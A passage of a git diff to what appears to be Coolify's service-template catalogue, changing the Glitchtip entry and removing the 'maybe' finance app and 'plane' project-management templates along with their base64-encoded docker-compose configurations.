0NBTEU6LTEsM30nCiAgICAgIC0gJ0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRD0ke0NFTEVSWV9XT1JLRVJfTUFYX1RBU0tTX1BFUl9DSElMRDotMTAwMDB9Jwo=", "tags": [ "error", "tracking", - "open-source", - "self-hosted", "sentry" ], "category": "monitoring", "logo": "svgs/glitchtip.png", "minversion": "0.0.0", - "port": "8080" + "port": "8000" }, "glpi": { "documentation": "https://help.glpi-project.org/documentation?utm_source=coolify.io", @@ -2681,24 +2679,6 @@ "minversion": "0.0.0", "port": "8065" }, - "maybe": { - "documentation": "https://github.com/maybe-finance/maybe?utm_source=coolify.io", - "slogan": "Maybe, the OS for your personal finances.", - "compose": "c2VydmljZXM6CiAgbWF5YmU6CiAgICBpbWFnZTogJ2doY3IuaW8vbWF5YmUtZmluYW5jZS9tYXliZTpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdhcHBfc3RvcmFnZTovcmFpbHMvc3RvcmFnZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX01BWUJFCiAgICAgIC0gU0VMRl9IT1NURUQ9dHJ1ZQogICAgICAtICdSQUlMU19GT1JDRV9TU0w9JHtSQUlMU19GT1JDRV9TU0w6LWZhbHNlfScKICAgICAgLSAnUkFJTFNfQVNTVU1FX1NTTD0ke1JBSUxTX0FTU1VNRV9TU0w6LWZhbHNlfScKICAgICAgLSAnR09PRF9KT0JfRVhFQ1VUSU9OX01PREU9JHtHT09EX0pPQl9FWEVDVVRJT05fTU9ERTotYXN5bmN9JwogICAgICAtICdTRUNSRVRfS0VZX0JBU0U9JHtTRVJWSUNFX0JBU0U2NF82NF9TRUNSRVRLRVlCQVNFfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQogIHdvcmtlcjoKICAgIGltYWdlOiAnZ2hjci5pby9tYXliZS1maW5hbmNlL21heWJlOmxhdGVzdCcKICAgIGNvbW1hbmQ6ICdidW5kbGUgZXhlYyBzaWRla2lxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1tYXliZS1kYn0nCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFQ1JFVEtFWUJBU0V9JwogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSAnUkFJTFNfRk9SQ0VfU1NMPSR7UkFJTFNfRk9SQ0VfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ1JBSUxTX0FTU1VNRV9TU0w9JHtSQUlMU19BU1NVTUVfU1NMOi1mYWxzZX0nCiAgICAgIC0gJ0dPT0RfSk9CX0VYRUNVVElPTl9NT0RFPSR7R09PRF9KT0JfRVhFQ1VUSU9OX01PREU6LWFzeW5jfScKICAgICAgLSBEQl9IT1NUPXBvc3RncmVzCiAgICAgIC0gREJfUE9SVD01NDMyCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL2RlZmF1bHQ6JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfUByZWRpczo2Mzc5LzEnCiAgICAgIC0gJ09QRU5BSV9BQ0NFU1NfVE9LRU49JHtPUEVOQUlfQUNDRVNTX1RPS0VOfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAnbWF5YmVfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LW1heWJlLWRifScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OC1hbHBpbmUnCiAgICBjb21tYW5kOiAncmVkaXMtc2VydmVyIC0tYXBwZW5kb25seSB5ZXMgLS1yZXF1aXJlcGFzcyAke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAncmVkaXNfZGF0YTovZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtIFJFRElTX0RCPTEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiAzcwogICAgICByZXRyaWVzOiAzCg==", - "tags": [ - "finances", - "wallets", - "coins", - "stocks", - "investments", - "open", - "source" - ], - "category": "productivity", - "logo": "svgs/maybe.svg", - "minversion": "0.0.0", - "port": "3000" - }, "mealie": { "documentation": "https://docs.mealie.io/?utm_source=coolify.io", "slogan": "A recipe manager and meal planner.", @@ -3678,27 +3658,6 @@ "minversion": "0.0.0", "port": "80" }, - "plane": { - "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io", - "slogan": "The open source project management tool", - "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JF